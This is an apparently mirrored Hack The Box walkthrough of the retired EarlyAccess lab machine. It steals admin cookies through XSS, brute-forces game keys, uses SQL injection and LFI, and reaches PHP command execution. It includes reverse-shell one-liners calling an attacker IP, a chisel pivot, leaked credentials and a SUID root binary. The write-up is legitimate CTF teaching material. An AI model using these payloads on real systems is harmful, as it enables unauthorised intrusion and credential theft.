EarlyAccess: Hack The Box Walkthrough
source link: https://hackso.me/earlyaccess-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
EarlyAccess: Hack The Box Walkthrough
Bernie Lim
A security enthusiast. Likes cats.
This post documents the complete walkthrough of EarlyAccess, a retired vulnerable VM created by Chr0x6eOs, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
EarlyAccess is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
masscan -e tun0 -p1-65535,U:1-65535 10.10.11.110 --rate=2000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-09-16 11:23:15 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.11.110
Discovered open port 80/tcp on 10.10.11.110
Discovered open port 443/tcp on 10.10.11.110
Nothing unusual. Let’s do one better with nmap
scanning the discovered ports to establish their services.
nmap -n -v -Pn -p22,80,443 -A --reason 10.10.11.110 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 e4:66:28:8e:d0:bd:f3:1d:f1:8d:44:e9:14:1d:9c:64 (RSA)
| 256 b3:a8:f4:49:7a:03:79:d3:5a:13:94:24:9b:6a:d1:bd (ECDSA)
|_ 256 e9:aa:ae:59:4a:37:49:a6:5a:2a:32:1d:79:26:ed:bb (ED25519)
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.38
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to https://earlyaccess.htb/
443/tcp open ssl/http syn-ack ttl 62 Apache httpd 2.4.38 ((Debian))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: EarlyAccess
| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT
| Issuer: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-08-18T14:46:57
| Not valid after: 2022-08-18T14:46:57
| MD5: cb8e e2a3 cfc9 b38e 36b8 3393 c8f5 d425
|_SHA-1: f884 fc2c 843f 4ce0 3c51 a06b cb8c 7b50 9c7d 0fc7
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
I’d better map earlyaccess.htb
to 10.10.11.110
in /etc/hosts
. This is what the site looks like.
The site looks good!
Directory/File Enumeration
Let’s see what gobuster
and SecList give.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -k -t 20 -e -x 'php' -u https://earlyaccess.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://earlyaccess.htb/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/09/17 03:26:35 Starting gobuster in directory enumeration mode
===============================================================
https://earlyaccess.htb/js (Status: 301) [Size: 317] [--> https://earlyaccess.htb/js/]
https://earlyaccess.htb/images (Status: 301) [Size: 321] [--> https://earlyaccess.htb/images/]
https://earlyaccess.htb/admin (Status: 302) [Size: 362] [--> https://earlyaccess.htb/login]
https://earlyaccess.htb/css (Status: 301) [Size: 318] [--> https://earlyaccess.htb/css/]
https://earlyaccess.htb/forum (Status: 302) [Size: 362] [--> https://earlyaccess.htb/login]
https://earlyaccess.htb/contact (Status: 302) [Size: 362] [--> https://earlyaccess.htb/login]
https://earlyaccess.htb/logout (Status: 405) [Size: 825]
https://earlyaccess.htb/register (Status: 200) [Size: 2902]
https://earlyaccess.htb/login (Status: 200) [Size: 3026]
===============================================================
2021/09/17 03:27:07 Finished
===============================================================
Nothing much. Let’s register an account and see what happens.
Hmm, we are redirected to /forum
.
XSS Vulnerability in the Profile Page
If we supply a XSS payload into the Name field in the Profile Information, and send a message to [email protected]
, we’ll be able to trigger a response from the Administrator.
Here’s the response captured in a netcat
listener listening at 443/tcp
.
Obviously we can’t see shit since it’s not a really a proper web server accompanied with a SSL certificate.
Python’s http.server + Stunnel
Well, Stunnel to the rescue! All we need to do is to wrap Stunnel around http.server
to have a makeshift web server enabled with SSL. Stunnel will handle all the SSL stuff while http.server
is freed up to display HTTP traffic in plaintext.
[https]
accept = 443
connect = 127.0.0.1:80
cert = /etc/stunnel/stunnel.pem
Start the Stunnel service and http.server
. Now, repeat the same steps above and you’ll see this in your http.server
console.
There you have it, Administrator’s cookies!
XSRF-TOKEN=eyJpdiI6ImdFQUYra2cya2JoakhkRWtNZnpDWnc9PSIsInZhbHVlIjoiUnlTZTcrcWR4Tm5zT1lYY0F0Vnk1QSt0N0RGdW1WNmthb0x2UG9odFdWM3U2dG5HRG9wUklCQlRJUHBtZUFIelFhTm4wcFppYjNIbWtQZzFFOExXZk16dE03RTFjc1E4TUNyOTNpemRURHYwM2dIa1JrS2NXR0RjQytvV1NLVjMiLCJtYWMiOiJlNTRiMjk1Njk0NWYzZjFlOTA5MDlhNWYzYTlmM2UzYzU0NDllMjUzZWYwNDQ4NzcyMGRjMTAzNGJjOGU2MTcxIn0=
earlyaccess_session=eyJpdiI6IjJ0eVpKOVhoYm93OEpkMFA3WEJXRmc9PSIsInZhbHVlIjoiU2lGZ3VhTGd5YWQ2cFk1S081ODJNRG5ONlNZVnF1ZDBJaEp1MzRRcERJSjJsRWtva2FjaUJJQXZrbkFJNk9oU1cvZXhaMm1OVzdaaVlKODFBcVNQZFhlK3JBN1pybGNGZE5RN3JYT1FPTmp6Mjlxd0M3R2ZJTWF3NWhPV2dHaVciLCJtYWMiOiJlMTQyZTY3ZTdlMWQ5YThiOTU3NGFjM2U5NjZjZjU1Y2FjYjJiY2ZlNmZjNGZhOGIwZjYxZDdkZjU2MjZkNTQ1In0=
Replace your cookies with the Administrator’s cookies, refresh the browser and you are the Administrator.
Interestingly, two subdomains are exposed: dev.earlyaccess.htb
and game.earlyaccess.htb
. I’d better include them into /etc/hosts
as well. Both sites appear to be powered by PHP. We’ll go to them later.
Offline Key-validator
The offline key-validator comes in the form of validate.py
.
#!/usr/bin/env python3
import sys
from re import match
class Key:
key = ""
magic_value = "XP" # Static (same on API)
magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)
def __init__(self, key:str, magic_num:int=346):
self.key = key
if magic_num != 0:
self.magic_num = magic_num
@staticmethod
def info() -> str:
return f"""
# Game-Key validator #
Can be used to quickly verify a user's game key, when the API is down (again).
Keys look like the following:
AAAAA-BBBBB-CCCC1-DDDDD-1234
Usage: {sys.argv[0]} <game-key>"""
def valid_format(self) -> bool:
return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))
def calc_cs(self) -> int:
gs = self.key.split('-')[:-1]
return sum([sum(bytearray(g.encode())) for g in gs])
def g1_valid(self) -> bool:
g1 = self.key.split('-')[0]
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
if r != [221, 81, 145]:
return False
for v in g1[3:]:
try:
int(v)
except:
return False
return len(set(g1)) == len(g1)
def g2_valid(self) -> bool:
g2 = self.key.split('-')[1]
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
def g3_valid(self) -> bool:
# TODO: Add mechanism to sync magic_num with API
g3 = self.key.split('-')[2]
if g3[0:2] == self.magic_value:
return sum(bytearray(g3.encode())) == self.magic_num
else:
return False
def g4_valid(self) -> bool:
return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]
def cs_valid(self) -> bool:
cs = int(self.key.split('-')[-1])
return self.calc_cs() == cs
def check(self) -> bool:
if not self.valid_format():
print('Key format invalid!')
return False
if not self.g1_valid():
return False
if not self.g2_valid():
return False
if not self.g3_valid():
return False
if not self.g4_valid():
return False
if not self.cs_valid():
print('[Critical] Checksum verification failed!')
return False
return True
if __name__ == "__main__":
if len(sys.argv) != 2:
print(Key.info())
sys.exit(-1)
input = sys.argv[1]
validator = Key(input)
if validator.check():
print(f"Entered key is valid!")
else:
print(f"Entered key is invalid!")
The validator source code seems to suggest that magic_num
will change every 30 minutes. Look at the format of g3
(/^XP[A-Z]{2}[0-9]$$/
), it has a dependency on magic_value
and magic_num
and it’s not difficult to determine the range of magic_num
’s. The first two characters are fixed at XP
and the last character must be a digit. Therefore we have a range of XPAA0
(346) to XPZZ9
(405).
Armed with this insight I wrote the following key generator script, with a magic_num
as argument.
from re import match
import random
import string
import sys
charset = string.ascii_uppercase + string.digits
magic_value = "XP"
magic_num = int(sys.argv[1])
def valid(valid):
for c in charset:
i, v = valid
r = (ord(c) << i+1) % 256 ^ ord(c)
if r == v:
return c
def g1_valid():
g1 = ''
g1 += valid((0,221))
g1 += valid((1,81))
g1 += valid((2,145))
g1 += string.digits[0]
g1 += random.choice(string.digits[1:])
return g1
def g2_valid():
p1_0 = random.choice(string.digits)
p1_1 = random.choice(string.digits)
p1_2 = random.choice(string.digits)
p1 = p1_0 + p1_1 + p1_2
p2_0 = chr(ord(random.choice(string.ascii_uppercase)))
p2_1 = chr(sum(bytearray(p1.encode())) - ord(p2_0))
if p2_1 in charset:
g2 = []
g2.append(p1_0)
g2.append(p2_0)
g2.append(p1_1)
g2.append(p2_1)
g2.append(p1_2)
return ''.join(g2)
else:
return "0A0O0" # known good
def g3_valid():
for d in range(10):
r = magic_num - sum(bytearray(magic_value.encode())) - ord(str(d))
p1 = chr(r//2)
p2 = chr(r - ord(p1))
if p1 in string.ascii_uppercase and p2 in string.ascii_uppercase:
return magic_value + p1 + p2 + str(d)
g1 = g1_valid()
g2 = g2_valid()
g3 = g3_valid()
def g4_valid():
key = [12, 4, 20, 117, 0]
r = bytearray([i ^ ord(g) for g, i in zip(g1, key)]).decode()
if match(r"^[A-Z0-9]{5}$", r):
return r
g4 = g4_valid()
gs = [g1, g2, g3, g4]
def checksum():
return str(sum([sum(bytearray(g.encode())) for g in gs]))
key = gs
key.append(checksum())
print('-'.join(key))
Using the script we can generate a key for each magic_num
in the range of 346 to 405—60 keys to be exact.
Subsequently I wrote another brute-force script to determine the current active magic_num
. The brute-force script accepts two arguments, the magic_num
as the key and the game key as the value. If the submitted game key is “successfully added” into the account, we know the magic_num
is active. I’ve added rate-limiting detection (429 Too Many Requests
) and will pause for Retry-After
seconds.
import requests
import sys
import time
import urllib3
from bs4 import BeautifulSoup as bs
# supppress warnings
urllib3.disable_warnings()
email = "[email protected]"
password = "dipshit123"
host = "https://earlyaccess.htb/"
magic_num = sys.argv[1]
gamekey = sys.argv[2]
s = requests.Session()
r = s.get(host + 'login', verify=False)
soup = bs(r.text, "lxml")
token = soup.find("input", type="hidden")
data = { "_token": token["value"], "email": email, "password": password }
r = s.post(host + "login", data=data, verify=False)
if r.status_code == 429:
time.sleep(int(r.headers["retry-after"]))
r = s.get(host + "key", verify=False)
soup = bs(r.text, "lxml")
token = soup.find("input", type="hidden")
data = { "_token": token["value"], "key": gamekey }
r = s.post(host + "key/add", data=data, verify=False)
if "successfully added" in r.text:
print("magic_num: %s, game_key: %s" % (magic_num, gamekey))
Coupled with GNU Parallel, and wrapping brute.py
in a shell script you get a poor man’s version of a multi-threaded brute-forcer.
#!/bin/bash
MAGIC_NUM=$1
GAME_KEY=$2
function die() {
killall perl 2>/dev/null
}
if python3 brute.py $MAGIC_NUM $GAME_KEY | grep -E '^magic'; then
die
fi
Once you’ve registered your Game-Key to your account, you’ll see the link to game.earlyaccess.htb
like so.
EarlyAccess Game
Log in with your account credentials registered earlier.
I’m pretty sure game.earlyaccess.htb
is running PHP.
Directory/File Enumeration 2
Let’s see what gobuster
and SecLists say about game.earlyaccess.htb
.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c "PHPSESSID=eb8eb585a601d108612638e0c7e7ca1b" -t 20 -e -x 'php,txt' -u http://game.earlyaccess.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://game.earlyaccess.htb/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] Cookies: PHPSESSID=eb8eb585a601d108612638e0c7e7ca1b
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/09/18 12:29:10 Starting gobuster in directory enumeration mode
===============================================================
http://game.earlyaccess.htb/assets (Status: 301) [Size: 329] [--> http://game.earlyaccess.htb/assets/]
http://game.earlyaccess.htb/index.php (Status: 302) [Size: 2709] [--> /game.php]
http://game.earlyaccess.htb/includes (Status: 301) [Size: 331] [--> http://game.earlyaccess.htb/includes/]
http://game.earlyaccess.htb/actions (Status: 301) [Size: 330] [--> http://game.earlyaccess.htb/actions/]
http://game.earlyaccess.htb/game.php (Status: 200) [Size: 7016]
http://game.earlyaccess.htb/server-status (Status: 403) [Size: 285]
http://game.earlyaccess.htb/scoreboard.php (Status: 200) [Size: 6290]
http://game.earlyaccess.htb/leaderboard.php (Status: 200) [Size: 6049]
===============================================================
2021/09/18 12:29:39 Finished
===============================================================
/actions
looks interesting. Let’s dig deeper.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c "PHPSESSID=eb8eb585a601d108612638e0c7e7ca1b" -t 20 -e -x 'php,txt' -u http://game.earlyaccess.htb/actions/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://game.earlyaccess.htb/actions/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] Cookies: PHPSESSID=eb8eb585a601d108612638e0c7e7ca1b
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/09/18 12:41:36 Starting gobuster in directory enumeration mode
===============================================================
http://game.earlyaccess.htb/actions/logout.php (Status: 302) [Size: 0] [--> /game.php]
http://game.earlyaccess.htb/actions/login.php (Status: 200) [Size: 0]
http://game.earlyaccess.htb/actions/score.php (Status: 302) [Size: 0] [--> /game.php]
===============================================================
2021/09/18 12:42:03 Finished
===============================================================
SQLi Vulnerability in the Profile Page
Turns out that there’s a SQLi vulnerability in the profile page as well. How do I know this? When I browse to http://game.earlyaccess.htb/actions/score.php?score=-1
, I’m greeted with the following.
The only problem now is I don’t know where the injection point is. It’s only when I change my profile name from starlord
to groot
and look at the game’s scoreboard I realize the injection point is at the profile name in the profile page.
Smells like a classic UNION SQLi to me!
Wait a minute! Administrator’s password is gameover
??!! A brute-force could have given me the same answer.
EarlyAccess Dev
Use the password to log in to dev.earlyaccess.htb
.
Directory/File Enumeration 3
Let’s see what gobuster
and SecLists say about dev.earlyaccess.htb
.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c "PHPSESSID=20b96a7d687eb536e5d8fa359d34397f" -t 20 -e -x 'php,txt' -u http://dev.earlyaccess.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.earlyaccess.htb/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] Cookies: PHPSESSID=20b96a7d687eb536e5d8fa359d34397f
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/09/18 14:26:30 Starting gobuster in directory enumeration mode
===============================================================
http://dev.earlyaccess.htb/assets (Status: 301) [Size: 327] [--> http://dev.earlyaccess.htb/assets/]
http://dev.earlyaccess.htb/home.php (Status: 200) [Size: 4426]
http://dev.earlyaccess.htb/index.php (Status: 302) [Size: 2685] [--> /home.php]
http://dev.earlyaccess.htb/includes (Status: 301) [Size: 329] [--> http://dev.earlyaccess.htb/includes/]
http://dev.earlyaccess.htb/actions (Status: 301) [Size: 328] [--> http://dev.earlyaccess.htb/actions/]
http://dev.earlyaccess.htb/server-status (Status: 403) [Size: 284]
===============================================================
2021/09/18 14:26:54 Finished
===============================================================
/actions
looks interesting. Let’s dig deeper.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c "PHPSESSID=20b96a7d687eb536e5d8fa359d34397f" -t 20 -e -x 'php,txt' -u http://dev.earlyaccess.htb/actions/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.earlyaccess.htb/actions/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] Cookies: PHPSESSID=20b96a7d687eb536e5d8fa359d34397f
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/09/19 04:45:36 Starting gobuster in directory enumeration mode
===============================================================
http://dev.earlyaccess.htb/actions/logout.php (Status: 302) [Size: 0] [--> /home.php]
http://dev.earlyaccess.htb/actions/login.php (Status: 302) [Size: 0] [--> /index.php]
http://dev.earlyaccess.htb/actions/file.php (Status: 500) [Size: 35] [--> /index.php]
===============================================================
2021/09/19 04:46:41 Finished
===============================================================
/file.php
sure looks interesting. Let’s wfuzz
it with Burp’s parameter wordlist from SecLists.
wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b "PHPSESSID=7b402584489257d1c6c71da68b961d16" --hh 35 http://dev.earlyaccess.htb/actions/file.php?FUZZ=/etc/passwd
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://dev.earlyaccess.htb/actions/file.php?FUZZ=/etc/passwd
Total requests: 2588
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001316: 500 0 L 10 W 89 Ch "filepath"
Total time: 7.624681
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 339.4240
If I had to guess, I would say that we have a LFI vulnerability in file.php
. But the question is, what file should we read? The file /actions/hash.php
used in Hashing-Tools looks like a good candidate.
http://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=./hash.php
The file hash.php
is base64
-decoded to the following.
<?php
include_once "../includes/session.php";
function hash_pw($hash_function, $password)
{
// DEVELOPER-NOTE: There has gotta be an easier way...
ob_start();
// Use inputted hash_function to hash password
$hash = @$hash_function($password);
ob_end_clean();
return $hash;
}
try
{
if(isset($_REQUEST['action']))
{
if($_REQUEST['action'] === "verify")
{
// VERIFIES $password AGAINST $hash
if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
{
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");
$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
$_SESSION['verify'] = ($hash === $_REQUEST['hash']);
header('Location: /home.php?tool=hashing');
return;
}
}
elseif($_REQUEST['action'] === "verify_file")
{
//TODO: IMPLEMENT FILE VERIFICATION
}
elseif($_REQUEST['action'] === "hash_file")
{
//TODO: IMPLEMENT FILE-HASHING
}
elseif($_REQUEST['action'] === "hash")
{
// HASHES $password USING $hash_function
if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
{
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");
$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
if(!isset($_REQUEST['redirect']))
{
echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
echo '<br>' . $hash;
return;
}
else
{
$_SESSION['hash'] = $hash;
header('Location: /home.php?tool=hashing');
return;
}
}
}
}
// Action not set, ignore
throw new Exception("");
}
catch(Exception $ex)
{
if($ex->getMessage() !== "")
$_SESSION['error'] = htmlentities($ex->getMessage());
header('Location: /home.php');
return;
}
?>
Interesting. If you include a debug
parameter, you’ll be able to run PHP code where hash_function
is the PHP function and password
is the argument to the PHP function. For example: running shell_exec("id")
.
Foothold
Armed with this insight, we can run a reverse shell back to us like so.
Where YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44OS8xMjM0IDA+JjEK
is the base64
-encoded string of bash -i >& /dev/tcp/10.10.14.84/1234 0>&1
.
You should see this in your netcat
listener.
Web Server
The bad news is that I’m in a docker container—webserver
.
The good news is I have the password to www-adm
in webserver
.
It’s gameover
!
During enumeration of www-adm
’s account, I notice another set of credentials in .wgetrc
.
That means that we have other docker containers!
MySQL
Game-Key Verification API
I transferred chisel
over to webserver
and forwarded the traffic to 172.18.0.101:5000
to me like so.
On my machine
chisel server -p 8888 --reverse
On webserver
chisel client 10.10.14.89:8888 R:5000:172.18.0.101:5000 &
Using the credentials uncovered above, I was able to access /check_db
and make use of the browser’s built-in JSON parser to discover more credentials.
We have a new user drew
and password XeoNu86JTznxMCQuGHrGutF3Csq5
. Knowing the difficulty of this machine, I’m pretty sure that is not root
’s password. Coud it be drew
’s password?
Awesome. The file user.txt
is in drew
’s home directory.
Privilege Escalation
During enumeration of drew
’s account, I notice the following pair of SSH keys to game-server
belonging to game-tester
.
There’s also another network bridge at 172.19.0.0/16
.
It doesn’t take me long to find the docker container IP address in the other bridge.
Game Server
172.19.0.3
is indeed game-server
.
Writable directory between host and container
During enumeration of game-tester
’s account, I notice a familiar-looking directory /docker-entrypoint.d
I thought I’ve seen it somewhere. Heading back to drew
’s shell I notice a directory with the exact same name.
On top of that, drew
has write permissions! If I had to guess, I would say that I’m looking at a container (game-server
) that started with a bind mount. If I have root
access on game-server
, I can create an executable with the SUID
-bit set and place it in docker-entrypoint.d
. drew
can then run it to make him root
. The problem is, how do I become root
in game-server
?
Rock v0.0.1
Now game-server
is hosting the game at localhost
port 9999/tcp
. Let’s track the creation and destruction of game-server
from where it all began—/entrypoint.sh
What’s in /docker-entrypoint.d/node-server.sh
?
What’s in /usr/src/app/server.js
?
'use strict';
var express = require('express');
var ip = require('ip');
const PORT = 9999;
var rounds = 3;
// App
var app = express();
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));
/**
* https://stackoverflow.com/a/1527820
*
* Returns a random integer between min (inclusive) and max (inclusive).
* The value is no lower than min (or the next integer greater than min
* if min isn't an integer) and no greater than max (or the next integer
* lower than max if max isn't an integer).
* Using Math.round() will give you a non-uniform distribution!
*/
function random(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min + 1)) + min;
}
/**
* https://stackoverflow.com/a/11377331
*
* Returns result of game (randomly determined)
*
*/
function play(player = -1)
{
// Random numbers to determine win
if (player == -1)
player = random(1, 3);
var computer = random(1, 3);
if (player == computer) return 'tie';
else if ((player - computer + 3) % 3 == 1) return 'win';
else return 'loss';
}
app.get('/', (req, res) => {
res.render('index');
});
app.get('/autoplay', (req,res) => {
res.render('autoplay');
});
app.get('/rock', (req,res) => {
res.render('index', {result:play(1)});
});
app.get('/paper', (req,res) => {
res.render('index', {result:play(2)});
});
app.get('/scissors', (req,res) => {
res.render('index', {result:play(3)});
});
app.post('/autoplay', async function autoplay(req,res) {
// Stop execution if not number
if (isNaN(req.body.rounds))
{
res.sendStatus(500);
return;
}
// Stop execution if too many rounds are specified (performance issues may occur otherwise)
if (req.body.rounds > 100)
{
res.sendStatus(500);
return;
}
rounds = req.body.rounds;
res.write('<html><body>')
res.write('<h1>Starting autoplay with ' + rounds + ' rounds</h1>');
var counter = 0;
var rounds_ = rounds;
var wins = 0;
var losses = 0;
var ties = 0;
while(rounds != 0)
{
counter++;
var result = play();
if(req.body.verbose)
{
res.write('<p><h3>Playing round: ' + counter + '</h3>\n');
res.write('Outcome of round: ' + result + '</p>\n');
}
if (result == "win")
wins++;
else if(result == "loss")
losses++;
else
ties++;
// Decrease round
rounds = rounds - 1;
}
rounds = rounds_;
res.write('<h4>Stats:</h4>')
res.write('<p>Wins: ' + wins + '</p>')
res.write('<p>Losses: ' + losses + '</p>')
res.write('<p>Ties: ' + ties + '</p>')
res.write('<a href="/autoplay">Go back</a></body></html>')
res.end()
});
app.listen(PORT, "0.0.0.0");
This is what the game looks like.
Looks like it’s really easy to crash the game. And apparently if we have a executable shell script in docker-entrypoint.d
in addition to node-server.sh
at the time of game-server
’s recreation, assuming there’s one, we can get ourselves a root
shell in game-server
. It appears that the creator took pains to remove anything in docker-entrypoint.d
every minute on the minute. We could defeat that with a while
loop like so.
while :; do echo -en '#!/bin/bash\n\nbash -c "bash -i >& /dev/tcp/10.10.14.89/4321 0>&1"\n' > x; chmod +x x; done 2>/dev/null
Crashing the Rock
Meanwhile we just need a number with decimal point to crash the game.
There you have it.
Getting the prize
I’m pleasantly surprised to find gcc
in game-server.
That means I can do something like this.
echo -en '#include <stdlib.h>\n#include <unistd.h>\n\nvoid main() {\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}\n' > pwn.c
gcc -o pwn pwn.c
cp pwn /docker-entrypoint.d
chmod +u+s+g+s /docker-entrypoint.d/pwn
I’m root
in earlyaccess
y’all.
Getting root.txt
with a root
shell is a breeze.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK